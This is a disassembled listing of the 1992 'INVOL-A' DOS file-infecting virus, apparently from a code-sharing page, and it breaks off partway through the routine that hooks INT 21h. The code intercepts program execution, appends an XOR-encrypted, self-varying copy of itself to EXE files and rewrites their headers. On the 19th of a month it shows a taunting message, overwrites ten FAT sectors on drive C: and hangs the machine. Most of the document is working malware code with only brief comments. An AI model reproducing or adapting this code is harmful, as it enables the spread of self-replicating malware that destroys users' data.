📄 invol.asm
字号:
; INVOL-A INT 21h handler Aug 26, 1992
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0014 3d 00 4b cmp ax,4b00
0b59:0017 74 03 jz 001c
0b59:0019 e9 7b 02 jmp ORIGINAL_21h (0297)
0b59:001c 50 push ax
0b59:001d 53 push bx
0b59:001e 52 push dx
0b59:001f 1e push ds
0b59:0020 06 push es
0b59:0021 b8 02 3d mov ax,3d02
0b59:0024 cd 21 int 21
0b59:0026 73 03 jae 002b
0b59:0028 e9 67 02 jmp 0292
0b59:002b 8b d8 mov bx,ax
0b59:002d 8c c8 mov ax,cs
0b59:002f 8e d8 mov ds,ax
0b59:0031 b4 3f mov ah,3f
0b59:0033 b9 18 00 mov cx,0018
0b59:0036 ba 70 05 mov dx,0570
0b59:0039 cd 21 int 21
0b59:003b 72 4d jb 008a
0b59:003d 81 3e 70 05 4d
5a cmp word [0570],5a4d
0b59:0043 75 45 jnz 008a
0b59:0045 b4 00 mov ah,00
0b59:0047 cd 1a int 1a
0b59:0049 89 16 9d 02 mov [029d],dx
0b59:004d b8 02 42 mov ax,4202
0b59:0050 b9 00 00 mov cx,0000
0b59:0053 ba 00 00 mov dx,0000
0b59:0056 cd 21 int 21
0b59:0058 72 30 jb 008a
0b59:005a 89 16 6c 05 mov [056c],dx
0b59:005e a3 6e 05 mov [056e],ax
0b59:0061 2d 02 00 sub ax,0002
0b59:0064 83 da 00 sbb dx,00
0b59:0067 8b ca mov cx,dx
0b59:0069 8b d0 mov dx,ax
0b59:006b b8 00 42 mov ax,4200
0b59:006e cd 21 int 21
0b59:0070 72 18 jb 008a
0b59:0072 b9 02 00 mov cx,0002
0b59:0075 ba 88 05 mov dx,0588
0b59:0078 b4 3f mov ah,3f
0b59:007a cd 21 int 21
0b59:007c 72 0c jb 008a
0b59:007e a1 82 05 mov ax,[0582]
0b59:0081 33 06 88 05 xor ax,[0588]
0b59:0085 3d 4a 4c cmp ax,4c4a
0b59:0088 75 03 jnz 008d
0b59:008a e9 01 02 jmp 028e
0b59:008d b4 2a mov ah,2a
0b59:008f cd 21 int 21
0b59:0091 80 fa 13 cmp dl,13
0b59:0094 74 03 jz DO_DAMAGE (0099)
0b59:0096 e9 b7 00 jmp 0150
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DO_DAMAGE:
; first display the message below
0b59:0099 b8 02 00 mov ax,0002
0b59:009c cd 10 int 10
0b59:009e ba b1 00 mov dx,00b1
0b59:00a1 b4 09 mov ah,09
0b59:00a3 cd 21 int 21
; then overwrite the first 10 sectors of FAT-1 on C: drive
0b59:00a5 b0 02 mov al,02
0b59:00a7 b9 0a 00 mov cx,000a
0b59:00aa ba 01 00 mov dx,0001
0b59:00ad cd 26 int 26
; Hang the machine
0b59:00af eb fe jmp 00af
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:00b1 59 6f 75 20 68 61 76 65 |You have|
0b59:00b9 20 68 65 6c 70 65 64 20 | helped |
0b59:00c1 73 70 72 65 61 64 20 74 |spread t|
0b59:00c9 68 69 73 20 76 69 72 75 |his viru|
0b59:00d1 73 2e 0d 0a 54 68 69 73 |s...This|
0b59:00d9 20 68 61 73 20 62 65 65 | has bee|
0b59:00e1 6e 20 61 20 6d 65 73 73 |n a mess|
0b59:00e9 61 67 65 20 66 72 6f 6d |age from|
0b59:00f1 20 79 6f 75 72 20 66 72 | your fr|
0b59:00f9 69 65 6e 64 6c 79 0d 0a |iendly..|
0b59:0101 6e 65 69 67 68 62 6f 72 |neighbor|
0b59:0109 68 6f 6f 64 20 69 6e 66 |hood inf|
0b59:0111 65 63 74 69 6f 6e 20 73 |ection s|
0b59:0119 65 72 76 69 63 65 2e 0d |ervice..|
0b59:0121 0a 54 68 61 6e 6b 20 79 |.Thank y|
0b59:0129 6f 75 20 66 6f 72 20 79 |ou for y|
0b59:0131 6f 75 72 20 69 6e 76 6f |our invo|
0b59:0139 6c 75 6e 74 61 72 79 20 |luntary |
0b59:0141 63 6f 6f 70 65 72 61 74 |cooperat|
0b59:0149 69 6f 6e 2e 0d 0a 24 |ion...$|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0150 a1 6e 05 mov ax,[056e]
0b59:0153 25 0f 00 and ax,000f
0b59:0156 75 0a jnz 0162
0b59:0158 8b 16 6c 05 mov dx,[056c]
0b59:015c a1 6e 05 mov ax,[056e]
0b59:015f eb 1d jmp 017e
0b59:0161 90 nop
0b59:0162 b2 10 mov dl,10
0b59:0164 2a d0 sub dl,al
0b59:0166 b6 00 mov dh,00
0b59:0168 01 16 6e 05 add [056e],dx
0b59:016c 83 16 6c 05 00 adc word [056c],00
0b59:0171 b9 00 00 mov cx,0000
0b59:0174 b8 02 42 mov ax,4202
0b59:0177 cd 21 int 21
0b59:0179 73 03 jae 017e
0b59:017b e9 10 01 jmp 028e
0b59:017e b9 04 00 mov cx,0004
0b59:0181 d1 ea shr dx,1
0b59:0183 d1 d8 rcr ax,1
0b59:0185 e2 fa loop 0181
0b59:0187 2b 06 78 05 sub ax,[0578]
0b59:018b 01 06 7a 05 add [057a],ax
0b59:018f 8b 16 86 05 mov dx,[0586]
0b59:0193 89 16 a6 04 mov [04a6],dx
0b59:0197 8b 16 84 05 mov dx,[0584]
0b59:019b 89 16 a4 04 mov [04a4],dx
0b59:019f 8b 16 7e 05 mov dx,[057e]
0b59:01a3 89 16 9b 04 mov [049b],dx
0b59:01a7 8b 16 80 05 mov dx,[0580]
0b59:01ab 89 16 a0 04 mov [04a0],dx
0b59:01af a3 86 05 mov [0586],ax
0b59:01b2 c7 06 84 05 58 05 mov word [0584],0558
0b59:01b8 05 5f 00 add ax,005f
0b59:01bb a3 7e 05 mov [057e],ax
0b59:01be c7 06 80 05 00 01 mov word [0580],0100
0b59:01c4 a1 9d 02 mov ax,[029d]
0b59:01c7 a3 82 05 mov [0582],ax
0b59:01ca be 14 00 mov si,0014
0b59:01cd 8c df mov di,ds
0b59:01cf 8e c7 mov es,di
0b59:01d1 bf 88 05 mov di,0588
0b59:01d4 b9 ac 02 mov cx,02ac
0b59:01d7 8b 16 9d 02 mov dx,[029d]
0b59:01db fc cld
0b59:01dc ad lodsw
0b59:01dd 33 c2 xor ax,dx
0b59:01df ab stosw
0b59:01e0 e2 fa loop 01dc
0b59:01e2 be 9c 02 mov si,029c
0b59:01e5 d1 ea shr dx,1
0b59:01e7 73 04 jae 01ed
0b59:01e9 c6 05 90 mov byte [di],90
0b59:01ec 47 inc di
0b59:01ed a5 movs
0b59:01ee a5 movs
0b59:01ef a5 movs
0b59:01f0 b9 0a 00 mov cx,000a
0b59:01f3 83 f9 03 cmp cx,03
0b59:01f6 75 02 jnz 01fa
0b59:01f8 8b ef mov bp,di
0b59:01fa d1 ea shr dx,1
0b59:01fc 73 04 jae 0202
0b59:01fe c6 05 90 mov byte [di],90
0b59:0201 47 inc di
0b59:0202 a5 movsw
0b59:0203 e2 ee loop 01f3
0b59:0205 b0 e2 mov al,e2
0b59:0207 aa stosb
0b59:0208 2b ef sub bp,di
0b59:020a 4d dec bp
0b59:020b 8b c5 mov ax,bp
0b59:020d aa stosb
0b59:020e b0 e9 mov al,e9
0b59:0210 aa stosb
0b59:0211 b8 a0 02 mov ax,02a0
0b59:0214 2b c7 sub ax,di
0b59:0216 05 88 05 add ax,0588
0b59:0219 ab stosw
0b59:021a b8 4a 4c mov ax,4c4a
0b59:021d 33 06 9d 02 xor ax,[029d]
0b59:0221 89 05 mov [di],ax
0b59:0223 83 c7 02 add di,02
0b59:0226 81 ef 88 05 sub di,0588
0b59:022a 8b cf mov cx,di
0b59:022c ba 88 05 mov dx,0588
0b59:022f b4 40 mov ah,40
0b59:0231 cd 21 int 21
0b59:0233 72 59 jb 028e
0b59:0235 01 06 6e 05 add [056e],ax
0b59:0239 83 16 6c 05 00 adc word [056c],00
0b59:023e 8b 16 6c 05 mov dx,[056c]
0b59:0242 a1 6e 05 mov ax,[056e]
0b59:0245 8a f2 mov dh,dl
0b59:0247 8a d4 mov dl,ah
0b59:0249 d1 ea shr dx,1
0b59:024b b4 00 mov ah,00
0b59:024d d0 d4 rcl ah,1
0b59:024f 42 inc dx
0b59:0250 89 16 74 05 mov [0574],dx
0b59:0254 a3 72 05 mov [0572],ax
0b59:0257 8b 16 6c 05 mov dx,[056c]
0b59:025b a1 6e 05 mov ax,[056e]
0b59:025e b9 04 00 mov cx,0004
0b59:0261 d1 ea shr dx,1
0b59:0263 d1 d8 rcr ax,1
0b59:0265 e2 fa loop 0261
0b59:0267 2b 06 78 05 sub ax,[0578]
0b59:026b 29 06 7a 05 sub [057a],ax
0b59:026f 73 06 jae 0277
0b59:0271 c7 06 7a 05 00 00 mov word [057a],0000
0b59:0277 b9 00 00 mov cx,0000
0b59:027a ba 00 00 mov dx,0000
0b59:027d b8 00 42 mov ax,4200
0b59:0280 cd 21 int 21
0b59:0282 72 0a jb 028e
0b59:0284 b9 18 00 mov cx,0018
0b59:0287 ba 70 05 mov dx,0570
0b59:028a b4 40 mov ah,40
0b59:028c cd 21 int 21
0b59:028e b4 3e mov ah,3e
0b59:0290 cd 21 int 21
0b59:0292 07 pop es
0b59:0293 1f pop ds
0b59:0294 5a pop dx
0b59:0295 5b pop bx
0b59:0296 58 pop ax
ORIGINAL_21h:
0b59:0297 ea eb 40 19 00 jmp 0019:40eb
0b59:029c ba c4 68 mov dx,68c4
0b59:029f b9 ac 02 mov cx,02ac
0b59:02a2 8c dd mov bp,ds
0b59:02a4 8c c8 mov ax,cs
0b59:02a6 8e d8 mov ds,ax
0b59:02a8 8e c0 mov es,ax
0b59:02aa 33 f6 xor si,si
0b59:02ac 8b fe mov di,si
0b59:02ae fc cld
0b59:02af 90 nop
0b59:02b0 ad lodsw
0b59:02b1 90 nop
0b59:02b2 33 c2 xor ax,dx
0b59:02b4 ab stosw
0b59:02b5 90 nop
0b59:02b6 8e dd mov ds,bp
0b59:02b8 be 80 00 mov si,0080
0b59:02bb bf 66 05 mov di,0566
0b59:02be b9 40 00 mov cx,0040
0b59:02c1 f3 repz
0b59:02c2 a5 movsw
0b59:02c3 8c c0 mov ax,es
0b59:02c5 8e d8 mov ds,ax
0b59:02c7 8b c5 mov ax,bp
0b59:02c9 05 10 00 add ax,0010
0b59:02cc 01 06 92 04 add [0492],ax
0b59:02d0 01 06 87 04 add [0487],ax
; Hook INT 21h
0b59:02d4 b8 00 00 mov ax,0000
0b59:02d7 8e d8 mov ds,ax
0b59:02d9 c4 1e 84 00 les bx,[0084]
0b59:02dd 81 fb b6 0c cmp bx,0cb6
0b59:02e1 75 14 jnz 02f7
0b59:02e3 26 80 3f 9c cmp byte es:[bx],9c
0b59:02e7 75 0e jnz 02f7
0b59:02e9 26 c4 06 c5 02 les ax,es:[02c5]
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -